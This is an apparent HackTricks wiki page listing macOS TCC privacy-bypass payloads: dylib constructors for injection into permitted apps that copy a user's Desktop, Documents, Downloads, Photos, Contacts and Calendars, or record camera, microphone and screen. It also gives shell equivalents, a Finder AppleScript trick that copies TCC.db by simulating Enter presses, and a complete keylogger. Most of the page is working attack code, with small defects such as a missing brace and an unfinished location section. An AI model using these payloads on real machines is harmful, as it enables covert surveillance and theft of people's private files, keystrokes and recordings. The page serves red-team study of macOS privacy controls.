HackTricks Press
Search K

Appearance

macOS TCC Payloads ​

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Desktop ​

  • Entitlement: None
  • TCC: kTCCServiceSystemPolicyDesktopFolder

Copy $HOME/Desktop to /tmp/desktop.

objectivec
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
    NSString *tmpPhotosPath = @"/tmp/desktop";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Copy $HOME/Desktop to /tmp/desktop.

bash
cp -r "$HOME/Desktop" "/tmp/desktop"

Documents ​

  • Entitlement: None
  • TCC: kTCCServiceSystemPolicyDocumentsFolder

Copy $HOME/Documents to /tmp/documents.

objectivec
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
    NSString *tmpPhotosPath = @"/tmp/documents";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Copy $HOME/Documents to /tmp/documents.

bash
cp -r "$HOME/Documents" "/tmp/documents"

Downloads ​

  • Entitlement: None
  • TCC: kTCCServiceSystemPolicyDownloadsFolder

Copy $HOME/Downloads to /tmp/downloads.

objectivec
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
    NSString *tmpPhotosPath = @"/tmp/downloads";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Copy $HOME/Dowloads to /tmp/downloads.

bash
cp -r "$HOME/Downloads" "/tmp/downloads"

Photos Library ​

  • Entitlement: com.apple.security.personal-information.photos-library
  • TCC: kTCCServicePhotos

Copy $HOME/Pictures/Photos Library.photoslibrary to /tmp/photos.

objectivec
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
    NSString *tmpPhotosPath = @"/tmp/photos";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Copy $HOME/Pictures/Photos Library.photoslibrary to /tmp/photos.

bash
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"

Contacts ​

  • Entitlement: com.apple.security.personal-information.addressbook
  • TCC: kTCCServiceAddressBook

Copy $HOME/Library/Application Support/AddressBook to /tmp/contacts.

objectivec
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
    NSString *tmpPhotosPath = @"/tmp/contacts";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Copy $HOME/Library/Application Support/AddressBook to /tmp/contacts.

bash
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"

Calendar ​

  • Entitlement: com.apple.security.personal-information.calendars
  • TCC: kTCCServiceCalendar

Copy $HOME/Library/Calendars to /tmp/calendars.

objectivec
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;    

    // Get the path to the user's Pictures folder
    NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
    NSString *tmpPhotosPath = @"/tmp/calendars";

    // Copy the contents recursively
    if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
        NSLog(@"Error copying items: %@", error);
    }

    NSLog(@"Copy completed successfully.", error);

    fclose(stderr); // Close the file stream
}

Copy $HOME/Library/Calendars to /tmp/calendars.

bash
cp -r "$HOME/Library/Calendars" "/tmp/calendars"

Camera ​

  • Entitlement: com.apple.security.device.camera
  • TCC: kTCCServiceCamera

Record a 3s video and save it in /tmp/recording.mov

objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}
- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
    if (error) {
        NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
        return;
    }
    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }
    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}
- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = @"/tmp/recording.mov";
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}
- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
    freopen("/tmp/logs.txt", "a", stderr);
    VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
    [videoRecorder startRecording];
    [NSThread sleepForTimeInterval:3.0];
    [videoRecorder stopRecording];
    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
    fclose(stderr); // Close the file stream
}

Check if the program has access to the camera.

objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface CameraAccessChecker : NSObject
+ (BOOL)hasCameraAccess;
@end
@implementation CameraAccessChecker
+ (BOOL)hasCameraAccess {
    AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
    if (status == AVAuthorizationStatusAuthorized) {
        NSLog(@"[+] Access to camera granted.");
        return YES;
    } else {
        NSLog(@"[-] Access to camera denied.");
        return NO;
    }
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    freopen("/tmp/logs.txt", "a", stderr);
    [CameraAccessChecker hasCameraAccess];
    fclose(stderr); // Close the file stream
}

Take a photo with the camera

bash
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg

Microphone ​

  • Entitlement: com.apple.security.device.audio-input
  • TCC: kTCCServiceMicrophone

Record 5s of audio an store it in /tmp/recording.m4a

objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
    NSError *error;
    self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

    if (error) {
        NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.audioDeviceInput]) {
        [self.captureSession addInput:self.audioDeviceInput];
    }

    self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.audioFileOutput]) {
        [self.captureSession addOutput:self.audioFileOutput];
    }
}

- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}

- (void)stopRecording {
    [self.audioFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
    NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {

    freopen("/tmp/logs.txt", "a", stderr);
    AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

    [audioRecorder startRecording];
    [NSThread sleepForTimeInterval:5.0];
    [audioRecorder stopRecording];

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
    fclose(stderr); // Close the file stream
}

Check if the app has access to the mricrophone.

objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib

@interface MicrophoneAccessChecker : NSObject
+ (BOOL)hasMicrophoneAccess;
@end
@implementation MicrophoneAccessChecker
+ (BOOL)hasMicrophoneAccess {
    AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
    if (status == AVAuthorizationStatusAuthorized) {
        NSLog(@"[+] Access to microphone granted.");
        return YES;
    } else {
        NSLog(@"[-] Access to microphone denied.");
        return NO;
    }
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    [MicrophoneAccessChecker hasMicrophoneAccess];
}

Record a 5s audio and store it in /tmp/recording.wav

bash
# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav

Location ​

✅

For an app to get the location, Location Services (from Privacy & Security) must be enabled, if not it won't be able to access it.

  • Entitlement: com.apple.security.personal-information.location
  • TCC: Granted in /var/db/locationd/clients.plist

Write the location in /tmp/logs.txt

objectivec
#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end

@implementation LocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
    CLLocation *location = [locations lastObject];
    NSLog(@"Current location: %@", location);
    exit(0); // Exit the program after receiving the first location update
}

- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
    NSLog(@"Error getting location: %@", error);
    exit(1); // Exit the program on error
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{  
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

    NSLog(@"Getting location");
    CLLocationManager *locationManager = [[CLLocationManager alloc] init];
    LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
    locationManager.delegate = delegate;

    [locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
    [locationManager startUpdatingLocation];

    NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
    while (true) {
        [runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
    }

    NSLog(@"Location completed successfully.");
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

Get access to the location

???

Screen Recording ​

  • Entitlement: None
  • TCC: kTCCServiceScreenCapture

Record the main screen for 5s in /tmp/screen.mov

objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m

@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
@end

@implementation MyRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)output 
    didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL 
    fromConnections:(NSArray *)connections 
    error:(NSError *)error {
    if (error) {
        NSLog(@"Recording error: %@", error);
    } else {
        NSLog(@"Recording finished successfully.");
    }
    exit(0);
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
    AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
    if ([captureSession canAddInput:screenInput]) {
        [captureSession addInput:screenInput];
    }

    AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
    if ([captureSession canAddOutput:fileOutput]) {
        [captureSession addOutput:fileOutput];
    }

    [captureSession startRunning];

    MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
    [fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];

    // Run the loop for 5 seconds to capture
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
        [fileOutput stopRecording];
    });

    CFRunLoopRun();
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

Record the main screen for 5s

bash
screencapture -V 5 /tmp/screen.mov

Accessibility ​

  • Entitlement: None
  • TCC: kTCCServiceAccessibility

Use the TCC privilege to accept the control of Finder pressing enter and bypass TCC that way

objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <OSAKit/OSAKit.h>

// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears

void SimulateKeyPress(CGKeyCode keyCode) {
    CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
    CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
    CGEventPost(kCGHIDEventTap, keyDownEvent);
    CGEventPost(kCGHIDEventTap, keyUpEvent);
    if (keyDownEvent) CFRelease(keyDownEvent);
    if (keyUpEvent) CFRelease(keyUpEvent);
}

void RunAppleScript() {
    NSLog(@"Starting AppleScript");
    NSString *scriptSource = @"tell application \"Finder\"\n"
                             "set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
                             "set targetFolder to POSIX file \"/tmp\" as alias\n"
                             "duplicate file sourceFile to targetFolder with replacing\n"
                             "end tell\n";

    NSDictionary *errorDict = nil;
    NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
    [appleScript executeAndReturnError:&errorDict];

    if (errorDict) {
        NSLog(@"AppleScript Error: %@", errorDict);
    }
}

int main() {
    @autoreleasepool {
        dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
            RunAppleScript();
        });

        // Simulate pressing the Enter key every 0.1 seconds
        NSLog(@"Starting key presses");
        for (int i = 0; i < 10; ++i) {
            SimulateKeyPress((CGKeyCode)36); // Key code for Enter
            usleep(100000); // 0.1 seconds
        }
    }
    return 0;
}

Store the pressed keys in /tmp/keystrokes.txt

objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <Carbon/Carbon.h>

// clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m

NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt";

void AppendStringToFile(NSString *str, NSString *filePath) {
    NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
    if (fileHandle) {
        [fileHandle seekToEndOfFile];
        [fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];
        [fileHandle closeFile];
    } else {
        // If the file does not exist, create it
        [str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    }
}

CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
    if (type == kCGEventKeyDown) {
        CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);

        NSString *keyString = nil;
        // First, handle special non-printable keys
        switch (keyCode) {
            case kVK_Return: keyString = @"<Return>"; break;
            case kVK_Tab: keyString = @"<Tab>"; break;
            case kVK_Space: keyString = @"<Space>"; break;
            case kVK_Delete: keyString = @"<Delete>"; break;
            case kVK_Escape: keyString = @"<Escape>"; break;
            case kVK_Command: keyString = @"<Command>"; break;
            case kVK_Shift: keyString = @"<Shift>"; break;
            case kVK_CapsLock: keyString = @"<CapsLock>"; break;
            case kVK_Option: keyString = @"<Option>"; break;
            case kVK_Control: keyString = @"<Control>"; break;
            case kVK_RightControl: keyString = @"<Control>"; break;
            case kVK_RightShift: keyString = @"<Shift>"; break;
            case kVK_RightOption: keyString = @"<Option>"; break;
            case kVK_Function: keyString = @"<Function>"; break;
            case kVK_F1: keyString = @"<F1>"; break;
            case kVK_F2: keyString = @"<F2>"; break;
            case kVK_F3: keyString = @"<F3>"; break;
            // Add more cases here for other non-printable keys...
            default: break; // Not a special non-printable key
        }

        // If it's not a special key, try to translate it
        if (!keyString) {
            UniCharCount maxStringLength = 4;
            UniCharCount actualStringLength = 0;
            UniChar unicodeString[maxStringLength];
            
            TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
            CFDataRef layoutData = TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
            const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout *)CFDataGetBytePtr(layoutData);
            
            UInt32 deadKeyState = 0;
            OSStatus status = UCKeyTranslate(keyboardLayout,
                                             keyCode,
                                             kUCKeyActionDown,
                                             0,
                                             LMGetKbdType(),
                                             kUCKeyTranslateNoDeadKeysBit,
                                             &deadKeyState,
                                             maxStringLength,
                                             &actualStringLength,
                                             unicodeString);
            CFRelease(currentKeyboard);

            if (status == noErr && actualStringLength > 0) {
                keyString = [NSString stringWithCharacters:unicodeString length:actualStringLength];
            } else {
                keyString = [NSString stringWithFormat:@"<KeyCode: %d>", keyCode];
            }
        }

        NSString *logString = [NSString stringWithFormat:@"%@\n", keyString];
        AppendStringToFile(logString, kKeystrokesLogPath);
    }
    return event;
}

int main() {
    @autoreleasepool {
        CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown);
        CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, KeyboardEventCallback, NULL);

        if (!eventTap) {
            NSLog(@"Failed to create event tap");
            exit(1);
        }

        CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
        CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
        CGEventTapEnable(eventTap, true);
        CFRunLoopRun();
    }
    return 0;
}

❌

Accessibility is a very powerful permission, you could abuse it in other ways, for example you could perform the keystrokes attack just from it without needed to call System Events.

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: